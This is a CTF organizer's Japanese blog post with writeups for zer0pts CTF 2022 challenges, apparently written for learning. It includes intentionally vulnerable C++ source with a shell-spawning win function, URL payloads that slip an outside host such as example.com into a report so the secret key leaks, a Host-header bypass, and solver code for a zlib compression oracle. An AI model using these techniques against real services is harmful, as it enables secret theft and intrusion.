zer0pts CTF 2022 開催記/Writeup

概要

この記事は、2022 年 3 月 19 日から同 20 日にかけて開催された zer0pts CTF 2022 の開催記です。

概要
writeup
開催記
- 準備
- 開催中
おわりに

この CTF は所属するチーム zer0pts が開催する CTF で、自分は運営として作問と当日の運用に携わりました。他のチームメイトの開催記/writeup は以下の通りです。

ptr-yudai.hatenablog.com

furutsuki.hatenablog.com

writeup

[pwn] Moden Rome(105 solves)

warmup 枠の pwn で、ソースコードと checksec は以下の通りです。

// Arch:     amd64-64-little
// RELRO:    Partial RELRO
// Stack:    Canary found
// NX:       NX enabled
// PIE:      No PIE (0x400000)
#include <string>
#include <iostream>

short buf[10];

void win() {
  std::system("/bin/sh");
}

short readroman(){
  short res = 0;
  std::string s;

  std::cin >> s;
  auto it = s.crbegin();

  int b = 1;
  for (auto c: "IXCM") {
    int cnt = 0;
    while (cnt < 9 && it != s.crend() && *it == c) {
      it++;
      cnt++;
    }
    res += b * cnt;
    b *= 10;
  }

  return res;
}

int main() {
  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);

  std::cout << "ind: ";
  int ind = readroman();
  std::cout << "val: ";
  int val = readroman();

  std::cout << "buf[" << ind << "] = " << val << std::endl;
  buf[ind] = val;

  std::exit(0);
}

C++ の機能をふんだんに使って書かれたプログラムです。グローバルに置かれた配列 buf に対し、0-9999 までのローマ数字（もどき）を読み込める関数 readroman を用いて index を指定した書き込みができます。win 関数とグローバル配列の明らかな範囲外参照があるので GOT overwrite ができるかと思いきや、GOT の場所はグローバル配列の前なので一筋縄にはいかなさそうです。

このコードでバグのある場所は for (auto c: "IXCM")。"IXCM" は { 'I', 'X', 'C', 'M', '\0' } という配列になるため、10000 を表す文字として '\0' を使うことができます。index は short で計算されているので 2¹⁵(=32768) 以上でオーバーフローするため、負の値を返すことができるというわけです。これで、無事 GOT overwrite をすることができました。

github.com

フラグは zer0pts{R0me_w1ll_3x1st_a5_1on9_4s_th3_Col1s3um_d0es}。ローマに関する 12 世紀末の名言らしいです。問題名と「古代の記数法は現代(=C++)でも使われている」という description も、このフラグから考えられた後付けのものでした。

この問題は、競技プログラミング中に踏んだバグから着想を得た問題でした。バグとする部分は決まっていたものの、それをうまいこと落とし込める設定を考えるのに苦労した記憶があります。最初は 13371337 を 13M371k337 のように位取りで表記するような設定でした。しかし、これではコードが汚くなってしまったので設定を変え、最終的にこのような形に落ち着きました。また、作問当初は C++ の機能として Range-based for のみが使われていたのでバグの位置がそこそこ自明でしたが、流石に自明すぎるということで ptr-yudai 先生に C++ の機能をモリモリ使うコードに書き換えてもらいました。結果としてバグを探すのがそこそこ難しくなりはしましたが、「初歩的な知識しか要求しないが、一筋縄ではいかない手応えのある問題」という良い warmup の条件（だと勝手に思っているもの）を綺麗に満たせた問題になったと思います。実際に survey でもそこそこ好評なようで、嬉しい限りです。

[web] Disco Party(51 solves)

Admin に report できる系の XSS Web と見せかけた、謎の Discord 問です。report API を叩くと参加者からは見えない Discord に URL が ?key={key} というシークレットキーつきでポストされ、それが flag への key となっています。

# web/app.py
@app.route("/api/report", methods=["POST"])
def api_report():
    """Reoprt an invitation ticket"""
    # Get parameters
    try:
        url = flask.request.form["url"]
        reason = flask.request.form["reason"]
        recaptcha_token = flask.request.form["g-recaptcha-response"]
    except Exception:
        return flask.abort(400, "Invalid request")

    # Check reCAPTCHA
    score = verify_recaptcha(recaptcha_token)
    if score == -1:
        return flask.jsonify({"result": "NG", "message": "Recaptcha verify failed"})
    if score <= 0.3:
        return flask.jsonify({"result": "NG", "message": f"Bye robot (score: {score})"})

    # Check URL
    parsed = urllib.parse.urlparse(url.split('?', 1)[0])
    if len(parsed.query) != 0:
        return flask.jsonify({"result": "NG", "message": "Query string is not allowed"})
    if f'{parsed.scheme}://{parsed.netloc}/' != flask.request.url_root:
        return flask.jsonify({"result": "NG", "message": "Invalid host"})

    # Parse path
    adapter = app.url_map.bind(flask.request.host)
    endpoint, args = adapter.match(parsed.path)
    if endpoint != "get_post" or "id" not in args:
        return flask.jsonify({"result": "NG", "message": "Invalid endpoint"})

    # Check ID
    if not get_redis_conn(DB_TICKET).exists(args["id"]):
        return flask.jsonify({"result": "NG", "message": "Invalid ID"})

    key = get_key(args["id"])
    message = f"URL: {url}?key={key}\nReason: {reason}"

    try:
        get_redis_conn(DB_BOT).rpush(
            'report', message[:MESSAGE_LENGTH_LIMIT]
        )
    except Exception:
        return flask.jsonify({"result": "NG", "message": "Post failed"})

    return flask.jsonify({"result": "OK", "message": "Successfully reported"})

# bot/crawler.py
@client.event
async def on_ready():
    print(f"We've logged in as {client.user}")
    channel = client.get_channel(LOGGING_CHANNEL_ID)
    if channel is None:
        print("Failed to get channel...")
        exit(1)

    c = redis.Redis(host='redis', port=6379, db=DB_BOT)
    while True:
        r = c.blpop('report', 1)
        if r is not None:
            key, value = r
            try:
                await channel.send(value.decode())
            except Exception as e:
                print(f"[ERROR] {e}")

client.run(DISCORD_SECRET)

この問題には 2 つの比較的簡単な解法がありますが、どちらも主となるアイデアは同じです。Discord は、URL が投稿されたときに embed を生成するためページを取得します。なので、自分の持っているサーバーの URL にどうにかして key をつけられれば、この挙動を利用してkey をリークすることができるのです。もちろん、上のコードではこれを防ぐためにチェックをしているので、これをバイパスしないといけません。

この手法の一つとして、フラグメントやクエリ文字列に空白を入れることで自分の URL を混入させるものがあります。例えば、http://party.ctf.zer0pts.com:8007/post/0123456789abcdef# http://example.com/ のような URL を送った場合はチェックをすり抜け、http://example.com/?key=... のような別個の URL として解釈されてしまいます。

もうひとつとして、flask.request.host を改ざんする手法があります。これは HTTP の HOST ヘッダーから取られているため、自由に変更することができます。そのため、これを報告する URL のホストと揃えてあげればよいです。

フラグは zer0pts{4h_p4rad1s3_l05t_6b4f6fbf5ee51003}。Description の "It's party time right now, so could you refrain from discussing any complicated matters?" と共に、まちカドまぞくの 1 シーン*1からの引用です。「込み入った話」を "complicated matters" と訳し、話題とも問題とも取れる description にしたのは我ながらよかったのではないかと思っています。

Web 問題は問題に直接関係しないフロントエンドを作るのがめんどくさいことで知られており（自分調べ）、2 週間くらい前に悲鳴をあげながら書いていました。フロントエンドエンジニアってやつにはなれる気がしません。

[web] Disco Festival(1 solve)

Disco Party の 2 つの比較的簡単な解法が封じられている問題です。決して Disco Party の非想定解法を競技中に修正したわけではありません。当たり前ですよね。

以下は更新された report 関数の中身の抜粋です。今回は実際に get_post 関数に map される path のみを message に埋め込むようになっています。そのため、フラグメントもクエリ文字列も、別ホストの URL も混入する余地がありません。~~変なことをせずに最初からこうしておけば……~~

# Connection info
HOST = os.getenv("HOST", "localhost")
PORT = os.getenv("PORT", "8017")
NETLOC = f'{HOST}:{PORT}'

# Check URL
parsed = urllib.parse.urlparse(url)
if len(parsed.query) != 0:
    return flask.jsonify({"result": "NG", "message": "Query string is not allowed"})
if parsed.netloc != NETLOC:
    return flask.jsonify({"result": "NG", "message": "Invalid host"})

# Parse path
adapter = app.url_map.bind(NETLOC)
endpoint, args = adapter.match(parsed.path)
if endpoint != "get_post" or "id" not in args:
    return flask.jsonify({"result": "NG", "message": "Invalid endpoint"})

# Check ID
if not get_redis_conn(DB_TICKET).exists(args["id"]):
    return flask.jsonify({"result": "NG", "message": "Invalid ID"})

key = get_key(args["id"])
message = f"URL: http://{NETLOC}{parsed.path}?key={key}\nReason: {reason}"
get_redis_conn(DB_BOT).rpush('report', message[:MESSAGE_LENGTH_LIMIT])

まず、URL のパスがチェックされている部分に着目します。これは Flask が内部で使用している werkzeug.routing.MapAdapeter.match(path) メソッドを使っているため、ここをすり抜けることは不可能そうです。しかし、わざわざ ID ではなく URL そのものを送っているということは何かしらがあるはず。実際にこのメソッドがどのようなチェックを行っているかを見てみましょう。内部を覗くと、判定はビルドされた regex で行われているようです。ビルドされた regex を確認すると、次のようになっていました: r'^\|/+?post/+?(?P[^/]{16})$'。これを見ると ///////////////////post/0123456789abcdef といったパスもマップされることが分かります。もしこの手法でパスを長くした場合、Discord のメッセージ長制限を回避するための message[:MESSAGE_LENGTH_LIMIT] によって URL が切り取られてしまいます。なので、ある URL が Discord に送信されたかどうかが分かるオラクルがあれば、key の途中で URL を切り取らせるように調節することで key を一文字ずつリークしていくことができます。このオラクルには、Discord に URL が貼られた際に生成される embed がキャッシュされる挙動が利用できます。embed がすぐに利用できない場合は webhook 等の別の手段を用いて embed を配信していますが、embed がキャッシュされている場合はレスポンスに直接含まれるようです。

In [1]: import discord
   ...: import asyncio
   ...: from time import sleep
   ...:
   ...: channel_id = ****
   ...: discord_secret = ****
   ...:
   ...: client = discord.Client()
   ...: channel = None
   ...:
   ...: @client.event
   ...: async def on_ready():
   ...:     global channel
   ...:     channel = client.get_channel(channel_id)
   ...:     assert channel is not None
   ...:
   ...: loop = asyncio.get_event_loop()
   ...: loop.create_task(client.start(discord_secret))

In [2]: loop.run_until_complete(channel.send("https://www.google.com/?zer0pts")).embeds
Out[2]: []

In [3]: loop.run_until_complete(channel.send("https://www.google.com/?zer0pts")).embeds
Out[3]: [<discord.embeds.Embed at 0x7fffedf00160>]

In [4]: loop.run_until_complete(channel.send("https://www.google.com/?zer0pts")).embeds
Out[4]: [<discord.embeds.Embed at 0x7ffff41df3a0>]

今回のページの HTML にはこっそり og:title を指定しているので、embed が生成されます。よって、この手法を用いて key を 1 文字ずつリークすることができました。

このオラクルを実装したソルバは以下の通りです。
github.com

フラグは zer0pts{st4y_tun3d_f0r_th3_d1sc0_m4squr4d3!(n0t_r3a11y)}。非想定解がまだあって Disco Masqurade を作ることにならなくてよかったですね*2。

Disco Party の想定解……もとい Disco Festival の解法の本質である「embed キャッシュのオラクルとしての利用」という手法は、Discord で YouTube の動画を共有した際にサムネイルが更新されていなかったところから着想を得ました。はじめのオラクルは「URL を送った際に embed が表示されるまでの時間」という定量化が難しいものでしたが、調査を進めるにつれて今の手法を見つけることができ、問題として十分成立する形に落ち着きました。
しかし、この問題については反省すべき点が多くあると考えています。まず、多くのチームがサニタイズをバイパスして embed を生成する際に発生するリクエストによるリークという方法を試していました。これは Disco Party が存在したことによって意図せずミスリードしてしまった部分があると考えられます。また、競技終了後に解法を伝えたところ「マジ???Flask のコードは全部無駄ってことですか???」といった反応も見られ、もう少しいい出題方法があったのかもなあという思いもあります*3。オラクルの新規性や面白さには自信があっただけに、満足の行く出題ができなかったのがとても心残りですね。どうやら CTF 運営あるあるらしく、難しいです。

[rev] Chirashi-sushi(8 solves)

古き良き*4 C 言語バイナリの Flag Checker 問です。バイナリを Ghidra に突っ込むと、以下のようにさらっとデコンパイルしてくれます。何らかの処理が回っていることは分かりますが、全ての変数が異なるポインタとして持たれているために処理の詳細を理解することはできません。

char flag[48] = {0};
scanf("%s", flag);

while( true ) {
  *local_868 = *local_868 * *local_738;
  *local_710 = *local_710 % *local_818;
  if (*local_760 == *local_708) break;
  iVar2 = (*local_800 ^ *local_848) % 47;
  iVar3 = (*local_6f0 ^ *local_7f8) % 47;
  if (iVar2 != iVar3) {
    switch((*local_7a8 ^ *local_838) % 5) {
    case 0:
      flag[iVar2] = flag[iVar2] + (char)*local_748;
      flag[iVar3] = flag[iVar3] - (char)*local_7e8;
      break;
    case 1:
      flag[iVar2] = flag[iVar2] ^ flag[iVar3];
      break;
    case 2:
      flag[iVar2] = flag[iVar2] + flag[iVar3];
      break;
    case 3:
      flag[iVar2] = flag[iVar2] - flag[iVar3];
      break;
    case 4:
      flag[iVar2] = flag[iVar2] ^ flag[iVar3];
      flag[iVar3] = flag[iVar3] ^ flag[iVar2];
      flag[iVar2] = flag[iVar2] ^ flag[iVar3];
    }
  }
  *local_6f8 ^= *local_720;
  *local_700 ^= *local_810;
  *local_728 *= *local_840;
  *local_820 *= *local_6c8;
  *local_758 += *local_6d8;
  *local_6b0 += *local_6d0;
}
char dat[48] = { 0x97, 0xd5, /* truncated */, 0x7d, 0x00 };
iVar2 = memcmp(flag, dat, 0x2f);
if (iVar2 == 0) {
  puts("correct");
}

各ポインタは処理に入る前に割り当てられているので、処理の前でブレークしてから各ポインタがどこを指しているかをダンプし、それを用いて処理を解析しれあげればよいです。以下が解析後のコードです。

while (1) {
    _cnt *= _mul;
    _cnt %= _mod;
    if (_cnt == _end) break;
    int i1 = (_cnt ^ _a) % FLAG_LEN;
    int i2 = (_cnt ^ _b) % FLAG_LEN;
    if (i1 != i2) {
        switch ((_c ^ _d) % 5) {
        case 0:
            flag[i1] += _cnt;
            flag[i2] -= _cnt;
            break;
        case 1:
            flag[i1] ^= flag[i2];
            break;
        case 2:
            flag[i1] += flag[i2];
            break;
        case 3:
            flag[i1] -= flag[i2];
            break;
        case 4:
            flag[i1] ^= flag[i2];
            flag[i2] ^= flag[i1];
            flag[i1] ^= flag[i2];
            break;
        }
    }

    _a ^= _c;
    _b ^= _d;
    _a *= _a;
    _d *= _a;
    _d += _b;
    _c += _d;
}

行われる操作が flag に関わらず同じ/全ての操作が可逆なので、操作を全て記録した後に逆処理を逐次行うことによって flag を復元することができます。これには C++ で数秒かかるので、Python や、ましては Z3 などを持ち出して解くのは難しいかと思われます。

github.com

フラグは zer0pts{sc4110p_1s_my_m05t_fav0r1t3_su5h1_1t3m}。貝類っておいしいですよね。でも本当に一番好きなのはマグロです。冷静になるとちらし寿司の文脈で寿司ネタの話をするのはおかしいですが、そこは目をつぶって頂くということで……。解いたチーム数は 8 チームと想像よりも遥かに少なかったです。やはり後に出した問題は手を出されにくく、結果として解かれにくい傾向にあるのかなあという感想です。今回はバイナリの見た目がそこそこえげつないのもこれを助けていたと思います。

さて、解法では触れていなかったポインタを散らしている部分が何をしているのかを覗いてみましょう。これは、GCC 拡張の関数内関数を使用して作られています。変数をキャプチャした関数内関数が関数外で使われる場合、スタック上にトランポリン関数が動的に生成されます。これは関数内関数が呼ばれたコンテキストを関数に持たせるためで、以下の4命令からなります。

 ► 0x7fffffffdc34             endbr64
   0x7fffffffdc38             movabs r11, g_0 <0x40162e>
   0x7fffffffdc42             movabs r10, 0x7fffffffd470
   0x7fffffffdc4c             jmp    r11
    ↓
   0x40162e       <g_0>       endbr64
   0x401632       <g_0+4>     push   rbp
   0x401633       <g_0+5>     mov    rbp, rsp
   0x401636       <g_0+8>     push   rbx
   0x401637       <g_0+9>     sub    rsp, 0x18

詳しくは以下の記事などがわかりやすいかと思います*5。
yupo5656.hatenadiary.org

これを組み合わせ、以下のような形でローカル変数に static 変数へのポインタを入れるような機構を作成しました。

void f_X5f628f(void (*fp)(int* (*ret)(void))) {
  static int symbol;
  int* f() { return &symbol; }
  fp(f);
}

int main() {
  int* a1;
  void g_1(int* (*ret)(void)) {
    a1 = ret();
  }
  f_X5f628f(g_1);
}

実際にはこれを生成するマクロと、マクロを使ったコードに書き換える python スクリプトによって作問されました。

github.com

この問題は関数内関数の性質をうまく生かせておらず、個人的にはあまり気に入っていません。作問では関数内関数のポインタを戻り値にできないことに大きく縛られてしまいましたが、せめてトランポリンの挙動程度は分からないと解けないようにしたかったです。また、関数内関数のポインタを戻り値にできないことを逆手に取り、関数内関数自体の破壊をする pwn などを作ろうかとも考えました。しかし、関数の浅いところにトランポリンができてしまうためにトランポリンが壊れやすく、一見すると正常な挙動をしているように見せることが難しかったために没となってしまいました。

[crypto] OK(9 solves)

ふるつき先生との合作です。ネタバレをするとこの問題には競プロパートがあるのですが、そこだけ降ってきたので解きました。なので、暗号的な背景や Crypto パートを解く際のお気持ちは深く理解できていません。

概要は以下の通りで、secret を当てることが目標です。

P = 2**1000-105
assert isPrime(P)

p = getPrime(512)
q = getPrime(512)
e = 65537
phi = (p-1)*(q-1)
d = inverse(e, phi)
n = p*q

secret = pow(flag, e, P)

key = getRandomRange(0, n)
ciphertext = secret ^ key

x1, x2 = getRandomRange(0, n), getRandomRange(0, n)

print(n, e, x1, x2)

v = int(input("v: "))

k1, k2 = pow(v - x1, d, n), pow(v - x2, d, n)
c1, c2 = k1 + key, k2 + ciphertext
print(c1, c2)

まず、 $v \equiv (x1 + x2) ･ 2^{-1} \pmod n$ とすれば、 $\rm{key} + (\rm{secret} \oplus \rm{key}) \equiv c1 + c2 \pmod n$ となります。また、 $\rm{key} + (\rm{secret} \oplus \rm{key})$ の最下位 bit は $\rm{key}$ の最下位 bit が打ち消し合うため、常に $\rm{secret}$ の最下位 bit と一致します。さらに、 $c1+c2$ は $2n$ を超えないため、 $c1 + c2$ は常に $(c1 + c2) \bmod n$ か $((c1 + c2) \bmod n) + n$ と等しくなります。 $n$ は作り方より常に奇数なので、secret の最下位 bit を決め打てば $(c1 + c2) \bmod n$ から $c1 + c2$ が復元できることになります。最下位 bit は 2 通りなので、これについては容易に両方試すことが可能です。

よって、以下の問題が解ければ secret が復元できたことになります。

問題:
$N$ bit のランダムな整数 $m$ とランダムな $N$ bit の整数列 $A$ から整数列 $B_i=A_i + (m \oplus A_i)$ を生成する。整数列 $B$ から $m$ を復元せよ。
制約:

$N=1024$

$|A|=20$

まず、生成される数 $A_i + (m \oplus A_i)$ について観察してみます。加算に関する事実より、以下の式変形が成り立ちます。

\begin{align}
A_i + (m \oplus A_i) &= (A_i \oplus m \oplus A_i)+2\cdot (A_i \& (m \oplus A_i)) \\
&= m+2\cdot (A_i \& (m \oplus A_i)) \tag{1}
\end{align}

ここで、 $A_i \& (m \oplus A_i)$ の部分での XOR は & で抽出される bit を反転させていること捉えることができます。なので、先に全ての bit を反転させてから抽出しても同じことになるはずです。 $x$ のビット反転を $\overline{x}$ と表すことにすると、

\begin{align}
(1) &= m+2\cdot (A_i \& \overline{m})\\
&= m+\overline{m}+(A_i \& \overline{m})+( (A_i \& \overline{m})-\overline{m}) \\
&= \overline{0}+(A_i \& \overline{m})+( (A_i \& \overline{m})-( (A_i \& \overline{m})+(\overline{A_i} \& \overline{m}) ) ) \\
&= \overline{0}+(A_i \& \overline{m})-(\overline{A_i} \& \overline{m}) \tag{2}
\end{align}

が成り立ちます。ビット反転については少々乱雑な変形をしていますが、十分に大きな有限 bit 数における 1 の補数と考えれば問題ありません。今回はこれが $N=1024$ bit ですので、 $C=2^\rm{N+1}-1$ を用いて

\begin{align}
(2) &= C+(A_i \& (C-m))-(\overline{A_i} \& (C-m) )
\end{align}

と書くことができます。この式は、以下のようなスクリプトのようなことが行われていると解釈できます。

C = 2 ** (N + 1) - 1
B_i = C
for i in range(N):
  if not (C-m & (1 << i)): continue
  res += (1 << i) * choice([-1, 1])

ここで、 $|B_i-C|$ の最上位 bit が $C-m$ の最上位 bit と等しい確率を考えてみます。これは $C-m$ と最上位 bit が等しい場合は 1、等しくない場合は1/2となることが分かります*6。等しくない場合の最上位 bit は必ず小さくなるので、最大の最上位 bit を取ってくることによって数列 $B$ から $C-m$ の最上位 bit を $1-2^{-|B|}$ 以上の確率で求めることができます。次に、求めた最上位 bit を $|B_i-C|$ から引き、絶対値を取ります。そうすると、上から 2 bit 目についての同じ問題となります。

よって、これを繰り返すことで $(1-2^{-|B|})^{N}$ 以上の確率で $m$ を求めることができると分かりました。スクリプトは以下の通りとなります。

def solve(bs):
    BIT = 1024
    C = 2 ** (BIT + 1) - 1
    bs = [abs(b - C) for b in bs]

    res = C
    while not all([b == 0 for b in bs]):
        msb = 1 << (max(bs).bit_length() - 1)
        res -= msb
        bs = [abs(b - msb) for b in bs]
    if any([b != 0 for b in bs]): return None
    return res

ということで、OKの競プロパートでした。巷の解法は繰り上がりの規則性を利用するものなのですが、それよりも確実度が高い上にスクリプトが綺麗だと個人的に思います。ただ、わかりやすさや思いつきやすさという観点では劣っているため、観賞用の解法ということで。

全体のソルバは以下になります。
github.com

フラグは zer0pts{hav3_y0u_unwittin91y_acquir3d_th3_k3y_t0_th3_d00r_t0_th3_N3w_W0r1d?}。元ネタはアニポケ金銀の OK！です。とはいうものの、自分は DPt/BW 世代なのであまりよく知りませんでした*7。

元々は下位 1 bit の不変性を用いるパートがなかったり secret が直接 flag だったりしたのですが、それだと ASCII の性質を利用してゴリ押されてしまうことから secret を暗号化した flag としました。ここが若干煩雑になってスクリプトが汚くなってしまったのが、ちょっとした残念ポイントです。ですが、この問題はそのような些細な点が残念ポイントに見えてしまうほど、かなりよくできた問題だと思っています。自分の作った問題に粗が見えがちなのは人の常というものですが解法だけ出したのでそのようなこともなく、開催中は何かと手放しで褒めまくっていました。

[web/misc] zer0tp(1 solve)

ptr-yudai 先生との合作です。Web アプリの側を被った misc で、本質(?)パートは以下のスクリプトの通りです。

import os
import zlib
import base64
import signal
import hashlib

signal.alarm(30 * 60)

secret = base64.b64encode(os.urandom(12)) # leak this
assert len(secret) == 16

while True:
    username = input().encode()
    assert 4 <= len(username) <= 50
    id = os.urandom(8).hex().encode()
    hash = hashlib.md5(id + (zlib.compress(username + secret)[:8]))
    print(id, hash.hexdigest())

secret と任意の入力を連結したものを zlib で圧縮している部分があるため、圧縮後のサイズをオラクルとする手法のようなことをすればよいのではないかと考えられます。しかし、今回は圧縮後のデータの一部しか露出していないため、内部で使用している DEFLATE のフォーマット理解が不可欠となるでしょう。

速習・DEFLATE

DEFLATE は圧縮のためのフォーマットです。通常ならば複数のブロックから構成されますが、この問題の場合はデータが小さいのでそのような状況は考えなくてよいでしょう。ブロックには、非圧縮、固定ハフマン符号、動的ハフマン符号の 3 種類があります。非圧縮以外のブロックは、文字列に繰り返しが現れた際にオフセットと繰り返し長を記録する辞書式圧縮を使用しています。さらなる効率化のため、このオフセットと繰り返し長及び生の文字はハフマン符号によってエンコードされます。ここで、繰り返し長と生の文字は同じハフマン符号でデコードされることに注意してください。固定ハフマン符号ブロックと動的ハフマン符号ブロックの違いはここで使用されるハフマン符号です。動的ハフマン符号ブロックでは使用する符号も同時に記録されますが、静的ハフマン符号ブロックでは予め用意された符号が使用されます。

以下は DEFLATE を展開する疑似コードです。この問題を解く時に必要な部分のみを掲載しています。

res = ''
while True:
  is_final   = stream.read_bits(1)
  block_type = stream.read_bits(2)
  if block_type == 0b00: ... # 非圧縮ブロック （省略）
  if block_type == 0b01: ... # 静的ハフマン符号ブロック （省略）
  if block_type == 0b10:     # 動的ハフマン符号ブロック
    code_for_chrlen_length   = stream.read_bits(5) + 257
    code_for_distance_length = stream.read_bits(5) + 1
    code_for_huffman_length  = stream.read_bits(4) + 4
    code_for_huffman = []
    for i in range(code_for_huffman_length):
      code_for_huffman.append(stream.read_bits(3))
    ... # 文字/長さ用のハフマン符号とオフセット用のハフマン符号を読み込む（省略）
    while True:
      # 文字/長さ用のハフマン符号を用いて一文字読み込む
      symbol = read_symbol(stream, code_for_chrlen)
      if symbol < 256:  res += ord(symbol) # 生の文字
      elif symbol == 256: break # end of block（重要ではない）
      else:
        assert 257 <= symbol <= 285
        # 読み込んだ文字を長さとして解釈する（この際、追加の情報が stream から読まれるかもしれない）
        length = parse_length(symbol, stream)
        ... # オフセットを読み、解凍する （省略）

  if is_final == 0b1: break

さらなる詳細は、RFC 1951 - DEFLATE Compressed Data Format Specification version 1.3 を見てください。

速習・Zlib

実は、Zlib は単なる DEFLATE のラッパーに過ぎません。デフォルトの zlib.compress で生成される Zlib は、以下のフォーマットに従います。

  0   1
+---+---+=====================+---+---+---+---+
|CMF|FLG|...compressed data...|    ADLER32    |
+---+---+=====================+---+---+---+---+
[RFC1950 - ZLIB Compressed Data Format Specification version 3.3](https://datatracker.ietf.org/doc/html/rfc1950) より引用

CMF とFLG は、設定を変えない限り変わりません。ADLER32 はチェックサムですが、今回の問題では使われることがないです.

オラクルパート

md5 のことは一旦忘れ、以下のようなオラクルが得られるとしましょう。得られるデータがちゃっかり 3 文字目だけになっていますが、実はこれで解けます。

SECRET_LEN = 16
secret = base64.b64encode(os.urandom(12))
assert len(secret) == SECRET_LEN

def oracle(username):
  assert 4 <= len(username) <= 50
  return zlib.compress(username + secret)[2]

まず、zlib.compress が動的ハフマン符号による圧縮を用いるように強制しましょう。非圧縮ブロックまたは静的ハフマン符号ブロックによる圧縮を用いるだけでは、後ろの情報が前のほうには来ないためです。動的ハフマン符号ブロックは、少ない文字種のみで構成される場合に静的ハフマン符号ブロックよりも高効率な圧縮を実現します。また、3 文字以上の同じ文字列が含まれると圧縮されてしまうので、できる限りこれは避けたいです。なので、3 文字以上の繰り返しがない長い文字列を、なるべく少ない文字種で作りたくなります。このような文字列の構築方法はいろいろとありますが、de Bruijn sequence を用いるのが手っ取り早いでしょう。

次に、動的ハフマン符号のブロックの構造について見ていきます。今得ることができる最初の 8 byte には、文字及び繰り返し長のためのハフマン符号のサイズ/オフセットのためのハフマン符号のサイズ/ハフマン符号を圧縮するためのハフマン符号のサイズ/ハフマン符号を圧縮するためのハフマン符号の一部が含まれています。ここで、文字及び繰り返し長ためのハフマン符号のサイズに着目します。この符号でデコードされる数は、0-255 が文字に、256 が終端記号に、257 以降が繰り返し長に割り当てられています。符号のサイズは符号に含まれている最大の数に依存するため、繰り返しがない文字列の場合はサイズが 257 に、繰り返しがある文字列の場合はサイズが 258 以上になります。これを用いれば、文字列内に 3 文字以上の文字列が繰り返し含まれているかどうかを判定することができることとなります。これを用いて、secret をリークすることができます。

import os
import zlib
import string
import base64

SECRET_LEN = 16
secret = base64.b64encode(os.urandom(12))
assert len(secret) == SECRET_LEN

def oracle(username):
  assert 4 <= len(username) <= 50
  return zlib.compress(username + secret)[2]

# |Σ|=4, n=3
DE_BRUIJN_TEMPLATE = b'000100200301101201302102202303103203311121131221231321332223233300'[:0x30-5]
DE_BRUIJN = b''.join([bytearray([c - ord('0')]) for c in DE_BRUIJN_TEMPLATE])

PREFIX = b'#$'
ALPHABET = (string.ascii_letters + string.digits + "+/").encode()

init = PREFIX

def solve(cur):
  print(f'[+] {cur=}')
  if len(cur) - len(init) == SECRET_LEN:
    return cur[len(init):]
  res = None
  for c in ALPHABET:
    if res is not None: break
    payload = DE_BRUIJN + cur[-2:] + bytearray([c]) + PREFIX 
    if (oracle(payload) >> 3) == 0: continue
    res = solve(cur + bytearray([c]))
  return res

res = solve(init)
assert res is not None

print(res)
assert secret == res

md5 パート

次に、md5 をクラックするパートについて考えます。まず、圧縮は動的ハフマン符号ブロックを用いて行われたと仮定します。ここで、動的ハフマン符号を読み取る際の各フィールドが取りうる値の候補をローカルで集計してみます。すると、この条件での先頭 8 byte が取りうる値の候補数は 10⁶ オーダーに収まることが分かります。これは十分ブルートフォースが可能なサイズです。

import os
import zlib
import string
import base64
from hashlib import md5
from itertools import product

SECRET_LEN = 16

block_lens = [
  16, # zlib header
  1,  # bfinal
  2,  # btypes
  5,  # code for charactor/length length
  5,  # code for distance length
  4,  # code for huffman length
  *([3] * 10), 1 # for huffman
]
assert(sum(block_lens) == 64)
blocks = [(l, set()) for l in block_lens]

def add_block_info(data):
  bindata = int.from_bytes(data, "little")
  def next(n):
    nonlocal bindata
    res = bindata & ((1 << n) - 1)
    bindata >>= n
    return res
  for length, cands in blocks:
    val = next(length)
    cands.add(val)

# |Σ|=4, n=3
DE_BRUIJN_TEMPLATE = b'000100200301101201302102202303103203311121131221231321332223233300'[:0x30-5]
DE_BRUIJN = b''.join([bytearray([c - ord('0')]) for c in DE_BRUIJN_TEMPLATE])

PREFIX = b'#$'
ALPHABET = (string.ascii_letters + string.digits + "+/").encode()

print("[+] calculating candidates of each blocks...")
for i in range(1000):
  s = base64.b64encode(os.urandom(12))
  cur = PREFIX
  while len(cur) != len(PREFIX + s):
    for c in ALPHABET:
      payload = DE_BRUIJN + cur[-2:] + bytearray([c]) + PREFIX
      data = zlib.compress(payload + s)
      add_block_info(data)
    cur += bytearray([s[len(cur) - len(PREFIX)]])

combs = 1
for _, cands in blocks: combs *= len(cands)
print(f"[+] calculated. {combs=}")

assert len(blocks[1][1]) == 1
assert len(blocks[2][1]) == 1

prod = list(product(*[[*cands] for _, cands in blocks]))
def compute_blocks(salt, hash):
  for block_vals in prod:
    data = 0
    bit_len = 0
    def add(b, len):
      nonlocal data, bit_len
      assert b < 2 ** len
      data += (b << bit_len)
      bit_len += len
    for val, length in zip(block_vals, block_lens):
      add(val, length)
    assert(bit_len == 64)
    cur_hash = md5(salt + data.to_bytes(bit_len // 8, "little")).digest()
    if hash != cur_hash: continue
    return block_vals
  assert False

CNT = 100
for i in range(100):
  print(f'[+] testing {i + 1} / {CNT}')
  secret = base64.b64encode(os.urandom(12))
  assert len(secret) == SECRET_LEN
  salt = os.urandom(16).hex().encode()
  payload = DE_BRUIJN + secret[10:][:3] + PREFIX
  hash = md5(salt + zlib.compress(payload + secret)[:8]).digest()
  compute_blocks(salt, hash)

本題

これらのソルバを組み合わせた、最終的なソルバは以下になります。
github.com

flag は zer0pts{U_s4v3d_1337_USD_:yay:}。web の問題設定が「$1337 で設定できますよ」みたいな感じだったので、それを引っ張ってきた感じです。つまんないとか言ってすいませんでした。

俺「作問しました！」
keymoon大先生「フラグつまんね〜〜〜〜」
🥺
— pwnyaa (@pwnyaa) 2022年3月18日

この問題は、元々はただの misc として出題される予定でした。しかし開催前夜に web 問題が 2 問出題できなくなったために、急遽徹夜で web のガワを作ることに。問題設定からバックエンド、フロントエンドまで、ptr-yudai 先生が一晩でやってくれました。恐怖の作問マシーンの真髄を見た気がします。実は md5 パートはこのときに追加されたもので、この一夜城建立を横目に見ながら自分は hash パートのソルバを書いていました。

開催記

CTF の運営に携わったのは今回が二回目です。しかし、初回の BSides Ahmedbad CTF は一問提供したのみだったので、本腰を入れて携わったのは今回が初めてと言っていいでしょう。

準備

インフラに関してはほぼ無知で、Dockerfile 等は歴戦の CTF 運営er に介護してもらいながら書いていました。また、Disco Party を docker でテストしていなかったために、マルチスレッドで動かした際にバグることが開催 3 日前に発覚したりもしました*8。

また、作問が切羽詰まっていたために作問チェックが全体的に疎かだったと感じます。今回は大変なことになったのが web の 2 問でしたが、本当はもっと大変な状況になる可能性も十分あったと思っています。

